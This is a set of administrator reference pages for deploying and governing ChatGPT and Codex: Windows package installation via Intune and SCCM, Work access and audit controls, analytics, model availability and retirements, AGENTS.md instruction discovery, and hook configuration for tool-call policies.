Users can self-install via the web installer, or IT can deploy centrally with Microsoft Intune or another MDM/software-deployment platform. The app is Store-signed but users don't need to browse the Microsoft Store.
## Signature / Usage
Command-line install:
```powershell
winget install --id 9PLM9XGG6VKS -s msstore
```
Enterprise MDM deployment: search "ChatGPT from OpenAI" in the Store app flow, or use Store product ID `9PLM9XGG6VKS`.
## Install without Microsoft distribution services
Download the Store-signed MSIX per architecture and, if required, the offline license file, then ingest into your MDM/software-deployment platform:
| Device architecture | Package |
|----------------------|---------|
| x64 | `ChatGPT-x64.msix` |
| Arm64 | `ChatGPT-arm64.msix` |
## Deployment methods
- Package URLs (Store-signed, latest per architecture): `https://persistent.oaistatic.com/codex-app-prod/ChatGPT-x64.msix`, `https://persistent.oaistatic.com/codex-app-prod/ChatGPT-arm64.msix`, and the offline license `https://persistent.oaistatic.com/codex-app-prod/ChatGPT-License.xml`. Offline installation doesn't provide offline access to ChatGPT; standalone MSI and non-Store EXE packages aren't available.
- Intune, Microsoft Store (recommended): **Apps** > **All apps** > **Create** > **Microsoft Store app (new)**, search **ChatGPT** from **OpenAI** or enter product ID `9PLM9XGG6VKS`, set **Install behavior** to **System** on **App information**, assign the target group under **Required** (or **Available for enrolled devices** for Company Portal). Devices need access to Microsoft Store and Windows Update endpoints; otherwise use an offline MSIX.
- Intune, offline MSIX: **Line-of-business app**, upload the MSIX, assign under **Required**, change **Install Context** from **User context** to **Device context**, then confirm in **Device install status**. For user-chosen installs use a **Windows app (Win32)** with **Available for enrolled devices**: rename the package to `ChatGPT.msix`, keep it with `ChatGPT-License.xml`, and package `Install-ChatGPT.ps1` (`#Requires -RunAsAdministrator`; `Add-AppxProvisionedPackage -Online -PackagePath "$PSScriptRoot\ChatGPT.msix" -LicensePath "$PSScriptRoot\ChatGPT-License.xml" -Regions all`). Install command: `%SystemRoot%\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -File .\Install-ChatGPT.ps1`. Detection rule: `Get-AppxProvisionedPackage -Online` where `DisplayName -eq 'OpenAI.Codex'` (exit 0 if found; also compare `Version` for a specific approved version). Uninstall: run `Get-AppxProvisionedPackage -Online | Where-Object DisplayName -eq 'OpenAI.Codex' | Remove-AppxProvisionedPackage -Online -AllUsers` and `Get-AppxPackage -AllUsers -Name 'OpenAI.Codex' | Remove-AppxPackage -AllUsers`. Follow your PowerShell script-signing policy.
- SCCM: put the MSIX on a share, **Software Library** > **Application Management** > **Applications** > **Create Application** > **Windows app package**, enable **Provision this application for all users on the device**, distribute to distribution points, deploy as **Required** or **Available** (use the Windows app package deployment type, not the Store-link type).
- Other tools: add the MSIX, install for the device with Local System or administrator privileges, assign to a pilot group, and confirm employees can open ChatGPT under normal Windows accounts; if a script is required use the same `Install-ChatGPT.ps1` with 64-bit Windows PowerShell. If the app doesn't appear, have users sign out and back in (Windows registers the provisioned package at sign-in).
- Self-install: the ChatGPT Windows installer (administrator must approve) or `winget install --id 9PLM9XGG6VKS -s msstore`; offline install by an administrator with `Add-AppxProvisionedPackage -Online -PackagePath .\ChatGPT.msix -LicensePath .\ChatGPT-License.xml -Regions all`.
- Manage app updates: the app checks for updates by default (also after offline installation); allow `persistent.oaistatic.com` for automatic updates; if you disable them, deploy newer packages through your management tool. Disabling the built-in updater doesn't disable updates from the Microsoft Store or your management tool.
- Troubleshooting: administrator-credential prompts are expected for self-install; for an Intune Store deployment check **Install behavior** (re-add as **Microsoft Store app (new)** with **System** if it was **User**), assign the group, sync the device; deploying with **System** over an existing install may report `0x87D1041C` while installation still succeeds. Error `0x80073D28` (`ERROR_PACKAGED_SERVICE_REQUIRES_ADMIN_PRIVILEGES`) means the packaged service can't install without administrator privileges: run as administrator or install in device/System context; for SCCM enable **Provision this application for all users on the device** in the deployment type's **User Experience**, refresh machine policy, and retry in Software Center.
## Notes
- This deployment path supports x64/Arm64 initial installation in restricted environments but doesn't provide a standalone MSI or non-Store EXE.
- After initial install, devices that can reach `persistent.oaistatic.com` update automatically unless [managed configuration](./managed-configuration.md) disables the built-in updater.
- See [Manage app updates](./manage-app-updates.md) for turning off/on the in-app updater and deploying approved versions.
## Related
- [Manage app updates](./manage-app-updates.md)
- [Admin rollout guide](./admin-rollout-guide.md)
references/administration/work-admin-faq.md
# ChatGPT Work admin FAQ
Manage access, data, governance, observability, usage, and incident controls for ChatGPT Work (the Codex-powered, longer multi-step task mode inside ChatGPT).
## Overview
ChatGPT Work brings the technology behind Codex into ChatGPT for longer, multi-step tasks: it gathers context from chats, files, workspace resources, and connected systems, uses approved tools, and creates review-ready outputs. Access, context, actions, network behavior, and credit use vary by plan, workspace settings, source permissions, and surface. Where supported, workspace owners or authorized admins manage Work Cloud, Work Local, and Codex Local through distinct permissions; for eligible Enterprise and Edu workspaces the default workspace role includes Work unless an authorized administrator turns it off. Browser and network controls further restrict Work Cloud. Codex Local access (desktop, CLI, IDE) is governed through Codex Local permissions and managed configuration. (Earlier revisions of this page stated a July 9, 2026 launch and a two-week preview; the current official FAQ doesn't state either.)
## Core administrative controls
| Layer | Governs |
|-------|---------|
| Access to the enterprise workspace | SSO, domain verification, SCIM provisioning, user lifecycle, identity-group sync, MFA (Global Admin Console) |
| Access to ChatGPT Work within the workspace | ChatGPT Work access control + RBAC |
| Group membership | SCIM/identity-provider group sync (see [Groups and provisioning](./groups-and-provisioning.md)) |
| Workspace and member roles | Built-in Owner/Admin/Member roles + custom roles (see [Roles and workspace permissions](./roles-and-workspace-permissions.md)) |
| Plugins and connectors | Plugin policy, connector access/action controls (see [Plugin controls](./plugin-controls.md)) |
| Source-system permissions | Native application account/connection permissions |
| Approval and action restrictions | Per-connector action control (all / read-only / custom) |
| Credits | Per-user monthly limits (workspace default, group defaults, overrides) (see [ChatGPT usage limits and spend controls](./usage-limits.md)) |
| Analytics and reporting | Global Admin Console, workspace analytics, Compliance API, Codex reporting (see [Governance](./governance.md)) |
## Action risk categories
- **Read** — access/search/summarize without changing data
- **Draft** — prepare content for human review
- **Write** — create/update/delete records in connected systems
- **Share** — send/publish to more people/systems
- **Scheduled** — recurring/future-triggered tasks
- **Execute** — run code, shell commands, browser automation
## Incident and revocation controls
- Remove workspace/group access (SCIM-managed users: remove at the identity provider)
- Disable/restrict the relevant plugin or connector
- Revoke a shared connection, bot, service account, or Codex access token
- Remove/unpublish a Workspace Agent
- Disable the relevant schedule or trigger
- Revoke Codex access token, repository connection, and cloud-environment access individually — managed configuration is not a revocation mechanism
## Notes
- Work across devices: Local computer access with Work Cloud (ChatGPT Work; see the cloud-local-access guidance) lets eligible members continue a Work conversation across desktop, mobile, and web, applies only to tasks created after you enable it, doesn't change Codex's existing configuration behavior (its conversations don't appear in Codex history), isn't suitable for strict zero data retention, and if the computer is unavailable an eligible task can continue in a cloud container without local files, tools, or local enterprise requirements. Enable via Work Cloud, review the Agent Security baseline, then **Allow local computer access** under Workspace settings > Permissions & roles (disabled if `enforce_residency` is enabled in any cloud policy). Turning it off interrupts running turns and doesn't change retention policies.
- Core controls detail: SCIM and synchronized identity groups aren't included with ChatGPT Business; ChatGPT doesn't provide workspace-wide MFA enforcement (enforce SSO and MFA through your identity provider); built-in Enterprise roles include Owner, Admin, Member, and Analytics Viewer; a Codex-only seat doesn't grant access to Work; credits are shared between Work and Codex with monthly per-user limits via workspace default, group defaults, and individual overrides (Business follows a separate model).
- Observability: the Compliance Logs Platform provides Work user prompts and agent responses for eligible Enterprise and Edu workspaces (connected app calls are logged separately; no complete audit trail for every hosted file operation, shell command, browser interaction, tool invocation, or approval) and retains data for 30 days. Local Codex clients can opt in to OpenTelemetry exports (API requests, errors, prompt metadata, tool-approval decisions, tool results); prompt contents stay redacted unless `otel.log_user_prompt = true` is set as a separate explicit opt-in; this doesn't provide an OTel export for ChatGPT Work on the web. Enabling Local computer access with Work Cloud changes what an existing OTel collector receives: the local executor can still export supported execution events but cloud orchestration events don't reach it.
- Usage and cost: Work and Codex share pricing, credits, and usage limits; use spend controls, usage analytics, and the unified Cost API for eligible Enterprise administrators; don't treat aggregated analytics as exact per-workflow cost attribution. Highest-variance patterns include frequent or scheduled workflows, large retrieval, repeated app calls, retries, large artifacts, and Codex chats that process repositories, run commands, or use cloud environments.
- Recommended admin actions: choose who needs Work; set roles and permissions in **Permissions & roles**; review plugins and data sources; set expectations for appropriate use cases; set credit and usage controls (with model and effort guidance); identify first high-value workflows; prepare champions and support teams; explain review and approval expectations; monitor adoption and adjust.
- Governance spans three separate layers: ChatGPT Work access controls, Workspace Agent controls, and Codex managed configuration — they are not one uniform policy surface.
- The Compliance Logs Platform covers user prompts and agent responses (not files, actions, or tool calls) and retains data for 30 days; export continuously for longer retention.
- For Codex activity specifically, local runs execute on the user's machine under OS sandboxing and approval policies; Codex cloud runs in isolated OpenAI-managed environments.
## Related
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Groups and provisioning](./groups-and-provisioning.md)
- [Governance](./governance.md)
- [ChatGPT usage limits and spend controls](./usage-limits.md)
- [Managed configuration](./managed-configuration.md)
references/administration/workspace-analytics.md
# Workspace analytics
Compare ChatGPT workspace analytics, Codex analytics, reporting APIs, and audit records.
## Overview
Use ChatGPT workspace analytics for broad workspace adoption, Codex analytics for Codex-focused reporting, the Analytics API for programmatic aggregates, and the Compliance API for auditable records. These reporting surfaces don't grant product access or set runtime policy.
## Reporting surfaces
| Surface | Use it for | Contract owner |
|---------|-------------|-----------------|
| ChatGPT workspace analytics | Interactive, workspace-wide adoption/engagement reporting | Help Center guidance |
| Codex analytics | Interactive Codex adoption/activity reporting | Authenticated Codex analytics dashboard |
| Analytics API | Programmatic, aggregated Codex reporting | Authenticated Codex Analytics API reference |
| Compliance API | Audit, security, legal, and investigation records | Authenticated Admin API reference |
## Review Codex analytics
The authenticated Codex analytics dashboard (`admin.openai.com/analytics/codex`) focuses on Codex reporting; use it for interactive exploration, not as a stable schema contract. For a walkthrough of the Insights dashboard (explore Use cases and Tasks, compare activity with consumption and reach, open a category for details) see Usage Insights on the official site. For automated reporting use the Analytics API (the Codex Analytics API reference is tag "Codex Enterprise Analytics" in the Admin API reference); for auditable records use the Compliance API. ChatGPT workspace analytics and Codex analytics cover different product scopes; availability, roles, dashboard sections, freshness, privacy behavior, and export formats can change, so use the Workspace analytics Help Center guidance for current procedures.
## Notes
- Treat downloaded reports as identifiable organizational data; apply the organization's access/storage/retention policy rather than assuming export privacy matches an aggregated dashboard.
- Dashboard categories, fields, filters, and export formats can change independently of this page — use the authenticated API references for automated/programmatic reporting.
- Analytics describes activity; it doesn't grant access or change runtime permissions.
## Related
- [Analytics API](./analytics-api.md)
- [Compliance API and audit events](./compliance-api.md)
- [Governance](./governance.md)
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [ChatGPT usage limits and spend controls](./usage-limits.md)
references/administration/workspace-model-availability.md
# Workspace model availability
Separate model access across ChatGPT, Codex in the ChatGPT desktop app, Codex CLI, the IDE extension, Codex cloud, and the OpenAI API Platform.
## Overview
Model availability depends on the product surface and authentication boundary. A ChatGPT workspace model setting isn't a universal model switch for Codex across every surface.
## Model boundaries
| Boundary | Model access follows |
|----------|------------------------|
| ChatGPT workspace | Workspace plan, member access, workspace settings, role permissions |
| Codex in desktop app / CLI / IDE extension (ChatGPT sign-in) | Models supported by the client + access of the signed-in ChatGPT identity |
| Codex cloud | Models supported by hosted Codex workflows + signed-in identity access |
| Codex in desktop app / CLI / IDE extension (API-key auth) | OpenAI API organization and project associated with the key |
## Set a clear starting experience for employees
Configure Models settings for your workspace before granting access. Workspace owners and admins can configure separate starting defaults for Chat and for Work and Codex; where supported, choose a starting model, reasoning level, speed, and new-chat behavior for Chat, Work, and local Codex surfaces. Treat these as defaults, not permissions: available models still depend on the member's seat, role, workspace or API identity, enforced workspace requirements, and the surface. Codex cloud doesn't support changing its default model. Fast mode availability depends on the workspace, product surface, and any enforced `features.fast_mode` in `requirements.toml`, which can pin Fast mode on or off for managed local Codex clients (it isn't a starting default and can't override workspace or product availability).
## Save Preview and Launch access
Where separate Preview and Launch access settings are visible and editable, select **Save changes**. If **Sync preview and launch access** is available and editable, turning it on copies Preview choices to Launch when you save (it doesn't continuously update Launch access). With Sync off, saving keeps the latest saved Launch choices unless you also edit them; Launch choices can be edited and saved separately. After a successful save, reopen the access settings to verify; if the page reports it couldn't save all changes, some may already be saved, so follow the on-screen guidance for the remainder.
## GPT-6 Sol and Luna in Enterprise
GPT-6 Sol and GPT-6 Luna are off by default in Enterprise workspaces at launch. An administrator must enable each model before members can select it; confirm access on each client. Choosing a model in local configuration doesn't override workspace controls.
## GPT-6.1 Sol in Enterprise
GPT-6.1 Sol has its own planned rollout; the plan keeps it off by default in Enterprise and Edu until an administrator enables it. Check workspace model settings and the Codex model rollout before changing a workspace default. Choosing a model in local configuration doesn't grant access.
## GPT-6 Astra in Enterprise
Astra is off by default at launch in eligible ChatGPT Enterprise and Edu workspaces. A workspace owner must enable access through workspace model settings; access does not automatically turn on after two weeks, and existing Early Model Access settings do not grant access to Astra. Owners can enable Astra for the workspace or specific roles across Chat, Work, and Codex; existing product eligibility still applies. Enabling access and choosing a starting model are separate decisions: check the applicable seat, role, and billing arrangement before setting Astra as a default (see pricing and safety monitoring in agent-approvals-security.md). For API-key sign-in, Astra access follows the API organization and project associated with the key; enabling Astra in a ChatGPT workspace doesn't grant API access, and early access with an API key also requires client configuration (ask your OpenAI account team).
## Prepare for the GPT-5.5 retirement
GPT-5.5 retires from Codex with ChatGPT sign-in on October 14, 2026, at noon PDT (19:00 UTC). The OpenAI API and Codex sessions authenticated with an API key aren't affected. Review Codex workspace defaults and choose an available replacement: `gpt-6.1-sol` once an administrator has enabled it for the affected users. Replace `gpt-5.5` in workspace defaults, saved model settings, managed configurations, custom agents, scheduled tasks, and scripts or commands that explicitly select it. Changing a default doesn't grant model access; confirm the replacement is available to the affected users on each client.
## Prepare for the GPT-5.4 retirement
GPT-5.4 and GPT-5.4 mini retired from Codex for users signed in with ChatGPT on August 31, 2026. Update any remaining workspace defaults, saved model settings, managed configurations, custom agents, and scheduled tasks: replace `gpt-5.4` with `gpt-6-sol` (GPT-6 Sol) when available, and `gpt-5.4-mini` with `gpt-6-luna` (GPT-6 Luna) when available (in Enterprise and Edu an administrator must enable Luna first). The OpenAI API and Codex authenticated with your own API key aren't affected.
## Notes
- A permission profile can't grant model access; model access also can't weaken sandbox, approval policy, network controls, or source-system permissions.
- Source: https://learn.chatgpt.com/docs/enterprise/workspace-model-availability (retrieved 2026-10).
- To troubleshoot missing models: confirm product surface + sign-in method, confirm workspace/org/project, review current access controls for that boundary, and check client/Codex cloud support for the model.
## Related
- [Admin rollout guide](./admin-rollout-guide.md)
- [Groups and provisioning](./groups-and-provisioning.md)
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Managed configuration](./managed-configuration.md)
- [Authentication](./authentication.md)
references/agent-configuration/agents-md.md
# Custom Instructions with AGENTS.md
Codex reads `AGENTS.md` files before doing any work, layering global guidance with project-specific overrides so every task starts with consistent expectations.
## Signature / Usage
```md
# ~/.codex/AGENTS.md
## Working agreements
- Always run `npm test` after modifying JavaScript files.
- Prefer `pnpm` when installing dependencies.
- Ask for confirmation before adding new production dependencies.
```
```bash
codex --ask-for-approval never "Summarize the current instructions."
```
## How Codex discovers guidance
Codex builds an instruction chain once per run (once per TUI session), in this precedence order:
1. **Global scope**: in the Codex home directory (`~/.codex`, or `$CODEX_HOME`), Codex reads `AGENTS.override.md` if present, otherwise `AGENTS.md`. Only the first non-empty file at this level is used.
2. **Project scope**: starting at the project root (typically the Git root), Codex walks down to the current working directory. In each directory it checks `AGENTS.override.md`, then `AGENTS.md`, then any names in `project_doc_fallback_filenames`, including at most one file per directory.
3. **Merge order**: files are concatenated from the root downward, joined by blank lines. Files closer to the current directory override earlier guidance because they appear later in the combined prompt.
Codex skips empty files and stops adding files once the combined size reaches `project_doc_max_bytes` (32 KiB by default).
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `project_doc_max_bytes` | number (config.toml) | Byte limit for the combined instruction chain (default 32 KiB). |
| `project_doc_fallback_filenames` | string[] (config.toml) | Alternate filenames (e.g. `TEAM_GUIDE.md`) treated as instructions files when `AGENTS.md` is absent. |
| `CODEX_HOME` | env var | Overrides the Codex home directory (default `~/.codex`), enabling alternative profiles. |
| `AGENTS.override.md` | file | Takes precedence over `AGENTS.md` in the same directory; useful for temporary overrides. |
## Code Review Rules
For Codex code review in GitHub, add a `## Code Review Rules` section to the `AGENTS.md` closest to the code the rules govern. Put repository-wide checks at the root and service-specific checks in a nested file.
```md
## Code Review Rules
### Experiment cohorts
- Do not filter treatment comparisons on post-exposure behavior, including conversion or retention.
Safe path: build cohorts from assignment or exposure; report conversion as an outcome.
```
Keep rules concise, explain the behavior to flag and any safe path or exception, and reserve formatting and lint checks for CI.
## Customize fallback filenames
```toml
# ~/.codex/config.toml
project_doc_fallback_filenames = ["TEAM_GUIDE.md", ".agents.md"]
project_doc_max_bytes = 65536
```
Restart Codex or run a new command so the updated configuration loads. Codex then checks each directory in this order: `AGENTS.override.md`, `AGENTS.md`, `TEAM_GUIDE.md`, `.agents.md`. Filenames not on the list are ignored for instruction discovery. Use a different profile with `CODEX_HOME`:
```bash
CODEX_HOME=$(pwd)/.codex codex exec "List active instruction sources"
```
## Verify your setup
- Run `codex --ask-for-approval never "Summarize the current instructions."` from a repository root. Codex should echo guidance from global and project files in precedence order.
- Use `codex --cd subdir --ask-for-approval never "Show which instruction files are active."` to confirm nested overrides replace broader rules.
- To audit which instruction files Codex loaded, opt into a plaintext TUI log with `codex -c log_dir=./.codex-log` and check `./.codex-log/codex-tui.log`, or inspect the most recent `session-*.jsonl` file if you enabled session logging.
- If instructions look stale, restart Codex in the target directory. The chain is rebuilt on every run (and at the start of each TUI session), so there is no cache to clear manually.
## Troubleshoot discovery issues
- **Nothing loads:** verify you are in the intended repository and that running `/status` in an interactive session reports the workspace root you expect. Codex ignores empty files.
- **Wrong guidance appears:** look for an `AGENTS.override.md` higher in the directory tree or under your Codex home; rename or remove it.
- **Codex ignores fallback names:** confirm the names are in `project_doc_fallback_filenames` without typos, then restart Codex.
- **Instructions truncated:** raise `project_doc_max_bytes` or split large files across nested directories.
- **Profile confusion:** run `echo $CODEX_HOME` before launching Codex; a non-default value points at a different home directory.
## Notes
- The official guide writes `codex status`; the CLI reference has no top-level `status` subcommand (only `codex login status`), so this page uses the interactive `/status` slash command.
- If Codex cannot find a project root, it only checks the current directory.
- Codex stops searching once it reaches your current directory, so place overrides as close to specialized work as possible. Use `~/.codex/AGENTS.override.md` for a temporary global override without deleting the base file.
- Raise the limit or split instructions across nested directories when you hit the `project_doc_max_bytes` cap. See https://agents.md for the AGENTS.md convention.
## Related
- [Rules](./rules.md)
- [Subagents](./subagents.md)
- [Prompting](./prompting.md)
references/agent-configuration/hooks.md
# Hooks
Extensibility framework that lets you run scripts or MCP tools during the agentic loop — logging/analytics, blocking accidental secret pastes, auto-summarizing chats into persistent memories, validating a turn before it stops, or customizing prompting per directory. Hooks are enabled by default.
## Signature / Usage
```json
// ~/.codex/hooks.json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "/usr/bin/python3 \"$(git rev-parse --show-toplevel)/.codex/hooks/pre_tool_use_policy.py\"",
"statusMessage": "Checking Bash command"
}
]
}
]
}
}
```
Equivalent inline TOML in `config.toml`:
```toml
[[hooks.PreToolUse]]
matcher = "^Bash$"
[[hooks.PreToolUse.hooks]]
type = "command"
command = '/usr/bin/python3 "$(git rev-parse --show-toplevel)/.codex/hooks/pre_tool_use_policy.py"'
timeout = 30
statusMessage = "Checking Bash command"
```
MCP tool hook:
```json
{
"type": "mcp_tool",
"server": "scanner",
"tool": "scan_patch",
"input": { "patch": "${tool_input.command}" },
"timeout": 30,
"statusMessage": "Scanning edited files"
}
```
Background command hook:
```toml
[[hooks.PostToolUse.hooks]]
type = "command"
command = "python3 ~/.codex/hooks/post_tool_use.py"
async = true
timeout = 120
```
Managed hooks in `requirements.toml`:
```toml
allow_managed_hooks_only = true
[features]
hooks = true
[hooks]
managed_dir = "/enterprise/hooks"
windows_managed_dir = 'C:\enterprise\hooks'
[[hooks.PreToolUse]]
matcher = "^Bash$"
[[hooks.PreToolUse.hooks]]
type = "command"
command = "python3 /enterprise/hooks/pre_tool_use_policy.py"
command_windows = 'py -3 C:\enterprise\hooks\pre_tool_use_policy.py'
timeout = 30
statusMessage = "Checking managed Bash command"
```
## Options / Props
Events (when hooks run):
| When | Hooks |
|------|-------|
| During a turn | `PreToolUse`, `PermissionRequest`, `PostToolUse`, `PreCompact`, `PostCompact`, `UserPromptSubmit`, `SubagentStop`, `Stop` |
| When you interrupt an active turn | `Interrupt` (doesn't run for subagents) |
| When a session or subagent starts | `SessionStart`, `SubagentStart` |
| When the main thread ends | `SessionEnd` (doesn't run for subagents) |
Handler fields:
| Name | Type | Description |
|------|------|-------------|
| `matcher` | regex string | Filters when a hook fires. `"*"`, `""`, or omitted matches every occurrence. Ignored for `UserPromptSubmit`, `Stop`, `Interrupt`. |
| `type` | `"command"` \| `"mcp_tool"` | `command` and `mcp_tool` handlers are supported; `prompt` and `agent` handlers are parsed but skipped. |
| `command` | string | Shell command (runs with the session `cwd`). |
| `commandWindows` | string | Windows-only override. In TOML, `command_windows` or `commandWindows`. |
| `timeout` | number (seconds) | Default `600`. `SessionEnd` and `Interrupt` default to `1` and support up to `3`. |
| `statusMessage` | string | Optional message shown while the hook runs. |
| `async` | boolean | Run a command hook in the background (see Notes). |
| `additionalContextLimit` | number | Approximate token threshold before oversized `additionalContext` is spilled to disk. Default `2500`; `0` passes full output. |
| `description` | string | Optional top-level metadata in `hooks.json`; doesn't change which hooks run. |
MCP tool hook fields: `type` (`mcp_tool`), `server` (required, already-connected MCP server), `tool` (required), `input` (optional JSON object of argument templates, default `{}`), `timeout` (default `600`), `statusMessage`.
Matcher filters by event:
| Event | What `matcher` filters | Notes |
|-------|------------------------|-------|
| `PermissionRequest` | tool name | `Bash`, `apply_patch` (also `Edit` / `Write`), MCP tool names |
| `PreToolUse` / `PostToolUse` | tool name | See Tool coverage |
| `PreCompact` / `PostCompact` | compaction trigger | `manual` or `auto` |
| `SessionStart` | start source | `startup`, `resume`, `clear`, `compact`, `fork` |
| `SessionEnd` | end reason | Currently only `other` |
| `SubagentStart` / `SubagentStop` | subagent type | `agent_type` |
Tool coverage (`PreToolUse` / `PostToolUse`):
| Tool path | Pre | Post | Notes |
|-----------|-----|------|-------|
| Shell commands | Yes | Yes | Match as `Bash` |
| Unified exec (`exec_command`) | Yes | Yes | Match as `Bash`; a later `write_stdin` poll can deliver the original command's `PostToolUse` |
| `apply_patch` | Yes | Yes | Match as `apply_patch`, `Edit`, or `Write` |
| MCP tools | Yes | Yes | e.g. `mcp__filesystem__read_file` |
| Other local function tools | Yes | Yes | e.g. `update_plan`; `spawn_agent` also matches `Agent` |
| Hosted tools (e.g. `WebSearch`) | No | No | Don't use the local function-tool hook path |
Common input fields (one JSON object on `stdin`):
| Field | Type | Meaning |
|-------|------|---------|
| `session_id` | string | Current Codex session id (subagent hooks use the parent session id) |
| `transcript_path` | string \| null | Path to the session transcript; format isn't a stable interface |
| `cwd` | string | Working directory for the session |
| `hook_event_name` | string | Current hook event name |
| `model` | string | Codex-specific extension. Active model slug |
| `permission_mode` | string | On `SessionStart`, `PreToolUse`, `PermissionRequest`, `PostToolUse`, `UserPromptSubmit`, `SubagentStart`, `SubagentStop`, `Stop`, `Interrupt`: `default`, `acceptEdits`, `plan`, `dontAsk`, or `bypassPermissions` |
| `turn_id` | string | Codex-specific extension on turn-scoped hooks |
Event-specific input fields:
| Event | Fields |
|-------|--------|
| `SessionStart` | `source` |
| `SessionEnd` | `reason` (`other`) |
| `SubagentStart` | `turn_id`, `agent_id`, `agent_type`, `permission_mode` |
| `PreToolUse` | `turn_id`, `tool_name`, `tool_use_id`, `tool_input` |
| `PermissionRequest` | `turn_id`, `tool_name`, `tool_input`, `tool_input.description` (human-readable approval reason, when available) |
| `PostToolUse` | `turn_id`, `tool_name`, `tool_use_id`, `tool_input`, `tool_response` |
| `PreCompact` / `PostCompact` | `turn_id`, `trigger` (`manual` / `auto`) |
| `UserPromptSubmit` | `turn_id`, `prompt` |
| `SubagentStop` | `turn_id`, `agent_id`, `agent_type`, `agent_transcript_path`, `stop_hook_active`, `last_assistant_message` |
| `Stop` | `turn_id`, `stop_hook_active`, `last_assistant_message` |
| `Interrupt` | `turn_id`, `permission_mode` |
Common output fields (`SessionStart`, `PreCompact`, `PostCompact`, `UserPromptSubmit`, `SubagentStop`, `Stop`; `SubagentStart` accepts `systemMessage` and hook-specific context only):
| Field | Effect |
|-------|--------|
| `continue` | If `false`, marks that hook run as stopped |
| `stopReason` | Recorded as the reason for stopping |
| `systemMessage` | Surfaced as a warning in the UI or event stream |
| `suppressOutput` | Parsed today but not yet implemented |
## Notes
- How hooks run: matching hooks from multiple files all run; multiple matching command hooks for the same event launch concurrently. Non-managed hooks must be reviewed and trusted before they run.
- Discovery: `hooks.json` or inline `[hooks]` tables next to active config layers — `~/.codex/hooks.json`, `~/.codex/config.toml`, `<repo>/.codex/hooks.json`, `<repo>/.codex/config.toml` — plus plugin-bundled hooks. Higher-precedence layers don't replace lower-precedence hooks. A layer containing both `hooks.json` and inline `[hooks]` is merged with a startup warning; prefer one representation per layer. Project-local hooks load only when the project `.codex/` layer is trusted (user and system hooks still load).
- Review and trust: trust is recorded against the hook's current hash, so new or changed hooks are skipped until trusted. Use `/hooks` in the CLI to inspect sources, review, trust, or disable individual non-managed hooks. Managed hooks (system, MDM, cloud, `requirements.toml`) are trusted by policy and can't be disabled from the user hook browser. For one-off automation that vets hooks externally, pass `--dangerously-bypass-hook-trust`.
- For repo-local hooks, resolve paths from the git root instead of a relative `.codex/hooks/...` (Codex may start from a subdirectory).
- Turn hooks off with `[features] hooks = false` (`codex_hooks` is a deprecated alias); admins can force hooks off with `[features].hooks = false` in `requirements.toml`, or pin `[features].hooks = true` to enforce managed hooks, or set `allow_managed_hooks_only = true` to skip user, project, session, and plugin hooks.
- Managed hooks: `managed_dir` is used on macOS and Linux, `windows_managed_dir` on Windows. Codex doesn't distribute the scripts; enterprise tooling must install and update them. Use absolute script paths under the managed directory. When managed policy and remote hooks are enabled, Work Cloud with local access and dots use admin-managed remote MCP hooks (`mcp_tool` handlers in Global `requirements.toml`); command/shell, prompt, and agent handlers, local-configuration/plugin hooks, environment-scoped hooks, and `SessionEnd` MCP hooks are not supported with cloud orchestration. A `PreToolUse` callback error, timeout, or malformed response can fail the hook without blocking the tool; MCP hooks don't provide a complete Compliance API audit trail.
- Plugin-bundled hooks: Codex looks for `hooks/hooks.json` in the plugin root; a `hooks` entry in `.codex-plugin/plugin.json` (a `./`-prefixed path, array of paths, inline hooks object, or array of objects) overrides the default and must stay inside the plugin root. Plugin hook commands receive `PLUGIN_ROOT` and `PLUGIN_DATA` (Codex-specific extensions), plus `CLAUDE_PLUGIN_ROOT` and `CLAUDE_PLUGIN_DATA` for compatibility. Enabling a plugin doesn't automatically trust its hooks.
- MCP tool hooks: use `${field.nested}` to read a dotted field from the hook event; a placeholder filling an entire value keeps its JSON type, inside a larger string it renders as text; objects and arrays expand recursively. Hooks use an existing MCP connection (don't start or reconnect servers); errors, missing servers, and unavailable tools don't block. They run synchronously, don't request tool approval or trigger other hooks, the shorter hook or server timeout applies, `SessionStart` MCP hooks may run before the server is ready, and `SessionEnd` doesn't support them.
- Large hook output: each model-visible hook-output message is limited to roughly 2,500 tokens; more is saved under `<temp_dir>/hook_outputs/<session_id>/<uuid>.txt` and replaced with a head-and-tail preview ("spilling"). `additionalContextLimit` applies only to `additionalContext` (tool feedback and continuation prompts keep the default). Avoid returning secrets in hook output; avoid `0` unless the hook enforces a strict cap.
- Background hooks (`async: true`): same input, matcher, trust review, timeout, and large-output handling as synchronous hooks; output is delivered at the next safe point (the next model request in an active turn, otherwise the next user turn) and doesn't start a new turn. They can't block, approve, rewrite, or control the triggering operation. Limits: up to eight concurrently per session, may finish out of order, unfinished ones are cancelled at session end, and `SessionEnd` hooks always run synchronously.
- `SessionStart`: plain `stdout` is added as developer context; JSON `hookSpecificOutput.additionalContext` likewise. After compaction of a root session, hooks matching `source: "compact"` run before the next model request (also for mid-turn automatic compaction); `continue: false` ends the turn. A forked thread uses `source: "fork"`; resuming with supplied history still uses `resume`.
- `SessionEnd`: runs for the main thread when you archive/delete an open conversation, when Codex closes normally, or after 30 minutes idle with no connected client; not for subagents. Switching conversations or `thread/unsubscribe` doesn't end the session. Output is advisory.
- `SubagentStart`: `continue: false` is parsed but doesn't stop the subagent from starting.
- `PreToolUse`: deny with `hookSpecificOutput.permissionDecision: "deny"` + `permissionDecisionReason`, the older `{"decision":"block","reason":...}`, or exit code `2` with the reason on `stderr`. Add model-visible context via `hookSpecificOutput.additionalContext`. Rewrite with `permissionDecision: "allow"` + `updatedInput` (for Bash and `apply_patch` it must include a string `command`; for MCP/local function tools it replaces the arguments object). `permissionDecision: "ask"`, legacy `decision: "approve"`, `continue: false`, `stopReason`, `suppressOutput` are parsed but unsupported: the hook run is marked failed and the tool call continues. Plain `stdout` is ignored.
- `PermissionRequest`: runs when Codex is about to ask for approval (not for commands that need none). Return `hookSpecificOutput.decision.behavior` = `allow` or `deny` (+ `message`). Any `deny` wins; otherwise `allow` skips the prompt; no decision falls back to the normal approval flow. Don't return `updatedInput`, `updatedPermissions`, or `interrupt` (reserved; fail closed).
